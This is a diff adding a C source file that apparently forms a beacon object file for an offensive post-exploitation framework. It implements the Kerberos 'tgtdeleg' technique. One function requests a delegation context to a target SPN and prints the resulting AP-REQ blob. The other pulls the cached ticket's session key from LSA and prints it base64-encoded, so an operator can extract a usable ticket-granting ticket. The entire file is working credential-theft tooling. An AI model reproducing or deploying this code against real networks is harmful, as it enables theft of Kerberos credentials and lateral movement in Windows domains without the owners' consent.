| 1 | + | #include "tgtdeleg.h" |
| 2 | + | |
| 3 | + | void execute_tgtdeleg(WCHAR** dispatch, char* spn) { |
| 4 | + | CredHandle hCred; |
| 5 | + | TimeStamp timeStamp; |
| 6 | + | SECURITY_STATUS status = SECUR32$AcquireCredentialsHandleA(NULL, "Kerberos", SECPKG_CRED_OUTBOUND, NULL, NULL, 0, |
| 7 | + | NULL, &hCred, &timeStamp); |
| 8 | + | if (status == SEC_E_OK) { |
| 9 | + | CtxtHandle hCtx; |
| 10 | + | SecBuffer secBuf = {0, SECBUFFER_TOKEN, NULL}; |
| 11 | + | SecBufferDesc secBufDesc = {SECBUFFER_VERSION, 1, &secBuf}; |
| 12 | + | ULONG contextAttr; |
| 13 | + | status = SECUR32$InitializeSecurityContextA( |
| 14 | + | &hCred, NULL, (SEC_CHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, |
| 15 | + | SECURITY_NATIVE_DREP, NULL, 0, &hCtx, &secBufDesc, &contextAttr, NULL); |
| 16 | + | if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) { |
| 17 | + | if (contextAttr & ISC_REQ_DELEGATE) { |
| 18 | + | int b64len = Base64encode_len(secBuf.cbBuffer); |
| 19 | + | char* encoded = MSVCRT$calloc(b64len, sizeof(char)); |
| 20 | + | if (encoded == NULL) { |
| 21 | + | PRINT(dispatch, "[!] Could not allocate memory.\n"); |
| 22 | + | goto out; |
| 23 | + | } |
| 24 | + | Base64encode(encoded, secBuf.pvBuffer, secBuf.cbBuffer); |
| 25 | + | PRINT(dispatch, "[+] AP-REQ blob: %s\n", encoded); |
| 26 | + | MSVCRT$free(encoded); |
| 27 | + | if (secBuf.pvBuffer) { |
| 28 | + | SECUR32$FreeContextBuffer(secBuf.pvBuffer); |
| 29 | + | } |
| 30 | + | SECUR32$DeleteSecurityContext(&hCtx); |
| 31 | + | } else { |
| 32 | + | PRINT(dispatch, "[!] Client is not allowed to delegate to target.\n"); |
| 33 | + | } |
| 34 | + | } else { |
| 35 | + | PRINT(dispatch, "[!] InitializeSecurityContext: 0x%lx\n", status); |
| 36 | + | } |
| 37 | + | out: |
| 38 | + | SECUR32$FreeCredentialsHandle(&hCred); |
| 39 | + | } else { |
| 40 | + | PRINT(dispatch, "[!] AcquireCredentialsHandle: 0x%lx\n", status); |
| 41 | + | } |
| 42 | + | } |
| 43 | + | |
| 44 | + | void execute_tgtdeleg_getkey(WCHAR** dispatch, HANDLE hToken, char* target, LONG encType) { |
| 45 | + | HANDLE hLsa; |
| 46 | + | NTSTATUS status = GetLsaHandle(hToken, FALSE, &hLsa); |
| 47 | + | if (!NT_SUCCESS(status)) { |
| 48 | + | PRINT(dispatch, "[!] GetLsaHandle %ld\n", status); |
| 49 | + | return; |
| 50 | + | } |
| 51 | + | ULONG authPackage; |
| 52 | + | LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9}; |
| 53 | + | status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage); |
| 54 | + | if (!NT_SUCCESS(status)) { |
| 55 | + | PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); |
| 56 | + | goto out; |
| 57 | + | } |
| 58 | + | WCHAR* wTarget = GetWideString(target); |
| 59 | + | if (wTarget == NULL) { |
| 60 | + | PRINT(dispatch, "[!] Could not allocate memory.\n"); |
| 61 | + | goto out; |
| 62 | + | } |
| 63 | + | USHORT dwTarget = (MSVCRT$wcslen(wTarget) + 1) * sizeof(WCHAR); |
| 64 | + | ULONG requestSize = dwTarget + sizeof(KERB_RETRIEVE_TKT_REQUEST); |
| 65 | + | PKERB_RETRIEVE_TKT_REQUEST request = |
| 66 | + | (PKERB_RETRIEVE_TKT_REQUEST)MSVCRT$calloc(requestSize, sizeof(KERB_RETRIEVE_TKT_REQUEST)); |
| 67 | + | if (request == NULL) { |
| 68 | + | PRINT(dispatch, "[!] Could not allocate memory.\n"); |
| 69 | + | goto out; |
| 70 | + | } |
| 71 | + | request->MessageType = KerbRetrieveEncodedTicketMessage; |
| 72 | + | request->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY; |
| 73 | + | request->EncryptionType = encType; |
| 74 | + | request->TargetName.Length = dwTarget - sizeof(WCHAR); |
| 75 | + | request->TargetName.MaximumLength = dwTarget; |
| 76 | + | request->TargetName.Buffer = (PWSTR)((PBYTE)request + sizeof(KERB_RETRIEVE_TKT_REQUEST)); |
| 77 | + | MSVCRT$memcpy(request->TargetName.Buffer, wTarget, request->TargetName.MaximumLength); |
| 78 | + | PKERB_RETRIEVE_TKT_RESPONSE response; |
| 79 | + | NTSTATUS protocolStatus; |
| 80 | + | status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, request, requestSize, &response, &requestSize, |
| 81 | + | &protocolStatus); |
| 82 | + | MSVCRT$free(request); |
| 83 | + | MSVCRT$free(wTarget); |
| 84 | + | if (NT_SUCCESS(status)) { |
| 85 | + | if (NT_SUCCESS(protocolStatus)) { |
| 86 | + | if (requestSize > 0) { |
| 87 | + | int len = Base64encode_len(response->Ticket.SessionKey.Length); |
| 88 | + | char* encoded = (char*)MSVCRT$calloc(len, sizeof(char)); |
| 89 | + | if (encoded != NULL) { |
| 90 | + | Base64encode(encoded, response->Ticket.SessionKey.Value, response->Ticket.SessionKey.Length); |
| 91 | + | PRINT(dispatch, "[+] Session key: %s\n", encoded); |
| 92 | + | MSVCRT$free(encoded); |
| 93 | + | } else { |
| 94 | + | PRINT(dispatch, "[!] Could not allocate memory.\n"); |
| 95 | + | } |
| 96 | + | SECUR32$LsaFreeReturnBuffer(&response); |
| 97 | + | } else { |
| 98 | + | PRINT(dispatch, "[!] Empty response.\n"); |
| 99 | + | } |
| 100 | + | } else { |
| 101 | + | PRINT(dispatch, "[!] LsaCallAuthenticationPackage protocol status: %ld\n", |
| 102 | + | ADVAPI32$LsaNtStatusToWinError(protocolStatus)); |
| 103 | + | } |
| 104 | + | } else { |
| 105 | + | PRINT(dispatch, "[!] LsaCallAuthenticationPackage status: %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); |
| 106 | + | } |
| 107 | + | |
| 108 | + | out: |
| 109 | + | SECUR32$LsaDeregisterLogonProcess(hLsa); |
| 110 | + | return; |
| 111 | + | } |
| 112 | + | |